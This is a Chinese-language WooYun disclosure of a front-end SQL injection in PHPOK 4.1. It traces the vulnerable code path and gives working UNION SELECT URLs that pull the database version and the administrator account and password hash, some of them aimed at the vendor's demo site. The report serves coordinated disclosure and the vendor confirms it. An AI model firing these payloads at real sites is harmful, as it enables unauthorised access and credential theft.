当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078244

漏洞标题:PHPOK最新版前台SQL注入漏洞(可直接获取管理员密码)

相关厂商:phpok.com

漏洞作者: error

提交时间:2014-10-13 14:06

修复时间:2015-01-11 14:08

公开时间:2015-01-11 14:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 细节已通知厂商并且等待厂商处理中
2014-10-16: 厂商已经确认,细节仅向厂商公开
2014-10-19: 细节向第三方安全合作伙伴开放
2014-12-10: 细节向核心白帽子及相关领域专家公开
2014-12-20: 细节向普通白帽子公开
2014-12-30: 细节向实习白帽子公开
2015-01-11: 细节向公众公开

简要描述:

PHPOK最新版前台某功能存在SQL注入漏洞,可直接UNION注入获取管理员密码

详细说明:

PHPOK4.1最新版(2014-08-18更新)
官网:http://www.phpok.com/phpok.html
官网演示站点:http://demo.phpok.com

这里先整理下PHPOK系统的前台数据处理流程:
/framework/api/api_control.php => /framework/phpok_call.php => /framework/model/data.php


PHPOK系统在前台获取“文章总数”的功能实现上存在SQL注入漏洞。
漏洞文件:处理数据的data_model类/framework/model/data.php
漏洞函数:获取“文章总数”的total($rs)函数
这个漏洞应该和 WooYun: PHPOK SQL注射漏洞(官网) 算是同一文件不同的函数存在注入漏洞,不知道这种情况算不算新漏洞

漏洞代码:/framework/model/data.php文件第288行开始
//取得文章总数
public function total($rs)
{
if(!$rs['pid'] && !$rs['phpok']) return false;
if(!$rs['pid'])
{
$tmp = $this->_id($rs['phpok'],$this->site['id']);
if(!$tmp || $tmp['type'] != 'project') return false;
$rs['pid'] = $tmp['id'];
}
if(!$rs['pid']) return false;
//取得项目信息
$project_rs = $this->_project($rs['pid'],false);

//判断是否有绑定模块,没有绑定模块,跳过
if(!$project_rs['module']) return false;
$sql = "SELECT count(l.id) FROM ".$this->db->prefix."list l ";
$sql.= "JOIN ".$this->db->prefix."list_".$project_rs['module']." ext ON(l.id=ext.id AND l.site_id=ext.site_id) ";
$sql.= "WHERE l.project_id=".$rs['pid']." AND l.site_id=".$this->site['id']." ";
$sql.= " AND l.hidden=0 ";
if(!$rs['not_status']) $sql .= " AND l.status=1 ";
。。。。。。。。。
//绑定某个会员
if($rs['user_id'])
{
$sql.= "AND l.user_id IN(".$rs['user_id'].") ";
}
if($rs['attr'])
{
$sql.= "AND l.attr LIKE '%".$rs['attr']."%' ";
}
在332行处存在“绑定会员”的操作,具体的代码为$sql.= "AND l.user_id IN(".$rs['user_id'].") ";,可以看到$rs['user_id']直接带入数据库进行连接查询。
而$rs['user_id']是从total函数的唯一参数$rs中获取的,因此需要进行数据来源的回溯定位。
/framework/phpok_call.php代码是前台数据流的调用中心类,说白了就相当于一个数据中转器的作用,我们来分析下phpok_call.php的代码实现。
phpok_call.php文件第20行处提供了phpok($id,$rs="")的函数,具体功能是对前台发送来的数据进行调用处理,其中$id代表操作类型,$rs表示所需要的参数。
代码实现如下:
//执行数据调用
function phpok($id,$rs="")
{
if(!$id) return false;
$cacheId = '';
$content = '';
if($rs && is_string($rs)) parse_str($rs,$rs);
//判断是否启用缓存,启用后直读缓存信息
if($GLOBALS['app']->cache->status())
{
$cacheId = $GLOBALS['app']->cache->key(array('id'=>$id,'rs'=>$rs),$this->site['id'],"call");
$content = $GLOBALS['app']->cache->read($cacheId);
}
if($content) return $content;
//判断是内置参数还是调用数据中心的数据
if(substr($id,0,1) != '_')
{
$call_rs = $GLOBALS['app']->model('call')->get_rs($id,$this->site['id']);
if(!$call_rs) return false;
if($call_rs['ext'])
{
$call_rs_ext = unserialize($call_rs['ext']);
unset($call_rs['ext'],$call_rs['id']);
if($call_rs_ext) $call_rs = array_merge($call_rs_ext,$call_rs);
}
if($rs && is_array($rs)) $call_rs = array_merge($call_rs,$rs);
}
else
{
$list = array('arclist','arc','cate','catelist','project','sublist','parent','plist','fields','user','userlist','total','cate_id','subcate');
$id = substr($id,1);
… …
if(!$id || !in_array($id,$list)) return false;
$call_rs = array_merge($rs,array('type_id'=>$id));
}
$content = $this->load_call($call_rs); //调用load_call函数
phpok($id,$rs="")函数可以总结为以下2行核心代码:
$call_rs = array_merge($rs,array('type_id'=>$id));
$content = $this->load_call($call_rs);
就是将phpok的两个参数$id,$rs=""合并为一个数组,在传入load_call函数执行
进一步跟踪load_call函数:
在79行处:
function load_call($rs)
{
$content = "";
$tmp = '_'.$rs['type_id'];
if(in_array($tmp,$this->mlist))
{
$content = $this->$tmp($rs);
}
return $content;
}
load_call最后会执行$this->$tmp($rs);操作,$tmp 是将操作类型$id加上字符’_’,$rs就是该操作所需要的参数。
之前分析过由于data_model类的total函数出现注入,因此phpok_call类中可以通过调用_total($rs)来调用data_model->total($rs)
在第96行代码处有:
function _total($rs)
{
return $GLOBALS['app']->model('data')->total($rs);
}
现在需要分析下$rs这个参数是如何从前台传到phpok_call类中。
phpok系统通过/framework/api/api_control.php来处理前台数据,这里就来重点分析下api_control控制类的实现:
api_control控制类的代码很简单,有一个核心函数phpok_f(),位于第39行处:
function phpok_f()
{
$id = $this->get('id');
if(!$id) $this->json('未指定数据调用中心ID');
$param = $this->get('param');
if($param)
{
$intval = array('pid','cateid');
foreach($param as $key=>$value)
{
if(in_array($key,$intval))
{
$param[$key] = intval($value);
}
else
{
$param[$key] = str_replace(array('union','select','update','delete','insert','*','where','from'),"",$value);
}
}
}
$list = $this->call->phpok($id,$param);
if(!$list) $this->json('ok',true,true,false);
$tpl = $this->get("tpl");
if($tpl && $this->tpl->check_exists($tpl))
{
$this->assign("rslist",$list);
$info = $this->fetch($tpl);
$this->json($info,true,true,false);
}
$this->json($list,true);
}
}
phpok_f()从前台获取参数$id = $this->get('id');和参数$param = $this->get('param');,最后会调用$list = $this->call->phpok($id,$param);即调用phpok_call类的phpok,其中$param就是前面分析的操作参数$rs,是个数组。

最后的数据调用流程如下:
api_control->phpok_f($id='total', $param) => phpok_call->phpok('total' , $rs = $param) => phpok_call->load_call(array($param,'total')) => phpok_call->_total($param) => data_model->total($param)

漏洞证明:

1)本地测试

http://127.0.0.1/phpok4.1-0818/api.php?c=api&f=phpok&id=_total&param[pid]=42&param[user_id]=0)UNION+SELECT+concat(user(),0x5e,version())LIMIT+1,1%23

1.png

http://127.0.0.1/phpok4.1-0818/api.php?c=api&f=phpok&id=_total&param[pid]=42&param[user_id]=0)UNION+SELECT+(SELECT+CONCAT(account,0x5e,pass)+FROM+qinggan_adm+LIMIT+1)LIMIT+1,1%23

2.png

2)官方演示站点测试

http://demo.phpok.com/api.php?c=api&f=phpok&id=_total&param[pid]=42&param[user_id]=0)UNION+SELECT+concat(user(),0x5e,version())LIMIT+1,1%23

3.png

获取管理员用户密码:

http://demo.phpok.com/api.php?c=api&f=phpok&id=_total&param[pid]=42&param[user_id]=0)UNION+SELECT+(SELECT+CONCAT(account,0x5e,pass)+FROM+qinggan_adm+LIMIT+1)LIMIT+1,1%23

4.png


修复方案:

intval处理下

版权声明:转载请注明来源 error@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-10-16 09:22

厂商回复:

感谢提供这个漏洞,有类似的~谢谢,正在修正,官网的demo已经是太早版本了

最新状态:

暂无


漏洞评价:

评论